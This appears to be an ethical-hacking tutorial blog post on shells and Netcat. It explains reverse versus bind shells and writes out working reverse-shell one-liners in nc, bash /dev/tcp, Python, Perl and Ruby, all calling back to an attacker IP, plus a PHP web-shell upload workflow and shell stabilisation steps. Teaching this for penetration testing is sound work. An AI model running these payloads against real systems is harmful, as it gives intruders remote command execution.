Shells & Netcat — The Foundation of Remote Access
Understand what shells are, the difference between reverse and bind shells, and how to use Netcat to establish remote access — a core skill for any penetration tester.
When a penetration tester talks about “getting a shell,” they mean gaining the ability to run commands on a remote machine as if they were sitting at its terminal. It is one of the most fundamental outcomes of a successful exploitation and the starting point for everything that follows — privilege escalation, lateral movement, data exfiltration.
This post covers what a shell is, the two main shell types you will encounter (reverse and bind), and how to use Netcat to set them up. We will also cover the PHP reverse shell and the bash one-liner — two practical techniques you will reach for regularly.
Prerequisites: Basic comfort with the Linux terminal and an understanding of TCP/IP connections. If you have followed the Scanning & Enumeration posts in this series, you are ready.
What Is a Shell?
A shell is a program that takes commands from the user and passes them to the operating system to execute. On Linux, the most common shells are /bin/bash and /bin/sh. On Windows, you are looking at cmd.exe or PowerShell.
In an exploitation context, “getting a shell” means you have established remote command execution on the target — you can type commands and have them run on the victim machine, without physical access to it. That remote access is delivered over a network connection, and the session that carries it is called a shell session.
There are two ways to establish that connection, and they differ in one important way: who initiates it.
Reverse Shell vs Bind Shell
Bind Shell
In a bind shell, the target machine opens a port and listens, binding a shell to it. The attacker then connects inward to that port to receive the shell.
1
Attacker ──── connects to ──▶ Victim (listening, shell bound to open port)
The problem with this in practice is that the victim machine almost always sits behind a firewall that blocks unsolicited inbound connections. Most networks are configured to allow outbound traffic freely while restricting what can connect in from the outside. A bind shell requires the attacker to reach the victim on that open port, which the firewall will typically block.
Bind shells still have their place in internal engagements or when you have direct network access to the target, but they are the less common choice for a reason.
Reverse Shell
In a reverse shell, the victim machine initiates an outbound connection back to the attacker, who is waiting with a listener. The shell rides on that outbound connection.
1
Victim ──── connects out to ──▶ Attacker (listening, receives the shell)
This is by far the more common technique in real engagements. Firewalls are typically permissive with outbound traffic — the assumption is that machines inside the network need to reach out to the internet to browse, update, and communicate. A reverse shell exploits that trust. The victim reaches out, the firewall lets it through, and the attacker receives a shell.
The practical implication: when you are setting up for exploitation, you will almost always want a reverse shell.
Netcat — The Swiss Army Knife of Networking
Netcat (nc) is a lightweight utility for reading and writing raw data over TCP or UDP connections. It can operate as either a listener or a client, which makes it the go-to tool for manually establishing shells, testing connectivity, transferring files, or grabbing service banners.
Flag Reference
| Flag | Purpose |
|---|---|
-l | Listen mode — wait for an incoming connection rather than initiating one |
-n | Numeric-only — skip DNS resolution, speeds things up |
-v | Verbose — print connection status and info |
-p | Specify the local port to listen on |
-e | Execute a program upon connection and pipe its I/O over the socket (creates the actual shell) |
Note on
-e: Some modern netcat builds ship with-eremoved for security reasons — notably the OpenBSD variant. On Kali Linux, the traditional netcat (netcat-traditional) typically retains it. If-eis unavailable, use the bash one-liner method covered later in this post.
Setting Up a Reverse Shell with Netcat
This is the most common scenario. The attacker starts a listener first, then triggers execution on the victim which causes it to connect back.
Step 1 — Start the listener on the attacker machine:
1
nc -lnvp 4444
-l— listen mode-n— no DNS lookups-v— verbose output so you see when the connection arrives-p 4444— listen on port 4444 (use any available port)
Step 2 — Run this command on the victim machine:
1
nc 10.10.10.10 4444 -e /bin/sh
Replace 10.10.10.10 with your attacker IP. As soon as this runs, the victim connects out to your listener and hands over a /bin/sh session.
This step assumes you have already found a way to execute commands on the target — via a vulnerability, a misconfigured service, a file upload, or any other foothold. The netcat command is the payload you deliver through that foothold.
Setting Up a Bind Shell with Netcat
Here the victim listens and the attacker connects in.
Step 1 — Run this on the victim machine:
1
nc -lvp 4444 -e /bin/sh
The victim is now listening on port 4444 and will hand over a shell to whoever connects.
Step 2 — Connect from the attacker machine:
1
nc 10.10.10.20 4444
Replace 10.10.10.20 with the victim’s IP. You now have shell access.
Quick Comparison
| Bind Shell | Reverse Shell | |
|---|---|---|
| Who listens? | Victim | Attacker |
| Who connects? | Attacker → Victim | Victim → Attacker |
| Firewall risk | High — inbound connections are usually blocked | Low — outbound connections are usually allowed |
| Typical use | Internal engagements, controlled lab environments | Most real-world external engagements |
PHP Reverse Shell
When you have the ability to upload or execute a PHP file on a web server — via a vulnerable file upload, an exposed admin panel, or write access to the web root — a PHP reverse shell turns that into full command execution quickly.
The most widely used script is the pentestmonkey PHP reverse shell, which comes pre-installed on Kali at:
1
/usr/share/webshells/php/php-reverse-shell.php
Workflow
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# 1. Copy the script so you are not editing the original template
cp /usr/share/webshells/php/php-reverse-shell.php shell.php
# 2. Edit the two key lines near the top of the file
# Set your attacker IP and the port you will listen on
# $ip = '10.10.10.10';
# $port = 4444;
nano shell.php
# 3. Start your listener before uploading
nc -lnvp 4444
# 4. Upload shell.php to the target via whatever access you have
# (file upload vulnerability, FTP, SMB share, etc.)
# 5. Trigger execution by requesting the file over HTTP
curl http://target.com/uploads/shell.php
# or simply visit the URL in a browser
When the web server processes the PHP file, it connects back to your listener — this is a reverse shell, so it benefits from the same firewall bypass advantages described above.
A few things to keep in mind:
- The shell runs as the web server’s user — typically
www-dataor similar, which is a low-privilege account. This is a foothold, not an end point. Privilege escalation will be your next step. - The single most common reason this does not work is forgetting to update the IP and port. Always double-check those two lines before uploading.
- Make sure your listener is running before you trigger the file. If the web server cannot connect back, the request will hang or time out.
Bash One-Liner Reverse Shell
Many Linux systems have bash installed with built-in TCP support, which means you can open a reverse shell with nothing but bash itself — no netcat, no PHP, no additional tools required.
On the attacker machine — start the listener:
1
nc -lnvp 8080
On the victim machine — run this:
1
bash -i >& /dev/tcp/10.10.10.10/8080 0>&1
Breaking it down
| Part | What it does |
|---|---|
bash -i | Starts an interactive bash session |
>& /dev/tcp/10.10.10.10/8080 | Redirects stdout and stderr into bash’s /dev/tcp pseudo-device, which opens a TCP connection to the attacker — this is a built-in bash feature, not a real file path |
0>&1 | Redirects stdin to follow the same connection, so all input and output flows over the single TCP socket |
The result is an interactive bash session whose stdin, stdout, and stderr are all tied to your listener — a fully functional reverse shell with no dependencies.
Caveats:
- Requires bash to have been compiled with
/dev/tcpsupport. Most standard Linux distributions include it, but minimal or hardened builds (and non-bash shells likedashor BusyBoxsh) may not. - If it fails silently, try the netcat approach instead, or check which shell is actually running on the target with
echo $SHELL.
Quick Reference — Reverse Shell One-Liners by Language
When neither bash nor netcat are available, other interpreters commonly found on Linux systems can produce the same result. The principle is identical in each case: open a connection to the attacker’s listener, then redirect the shell’s stdin/stdout/stderr to that socket.
Python 3:
1
python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Python 2:
1
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.10.10",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'
Perl:
1
perl -e 'use Socket;$i="10.10.10.10";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");'
Ruby:
1
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.10.10","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
When choosing which one to use, check what is installed on the target first. A quick which python3 python perl ruby will tell you what is available without making noise.
Stabilising Your Shell
Raw netcat shells are functional but uncomfortable to work with — no tab completion, Ctrl+C kills the session instead of the running command, and the terminal does not resize properly. A common first step after catching a shell is to stabilise it.
The quickest method using Python:
1
2
3
4
5
6
7
8
# Run on the victim, inside your raw shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
# Then background the shell with Ctrl+Z and run on your attacker machine
stty raw -echo; fg
# Hit Enter twice, then set the terminal type
export TERM=xterm
This gives you a fully interactive TTY with proper job control and Ctrl+C behaviour.
Summary
| Technique | When to use |
|---|---|
| Netcat reverse shell | Default choice when nc is available and you can execute commands on the target |
| Netcat bind shell | Internal engagements or when you cannot receive inbound connections on the attacker side |
| PHP reverse shell | When you have file upload or write access to a web root |
| Bash one-liner | When netcat is not available but bash is |
| Python / Perl / Ruby | Fallback when neither bash /dev/tcp nor nc is available |
The next post in this series covers Payloads — Staged vs Non-Staged, where we move from manual shell techniques to generating payloads with msfvenom and understanding how staged payloads differ from self-contained ones.
Series: Exploitation Basics
Course reference: PNPT (TCM Security) — Practical Ethical Hacking
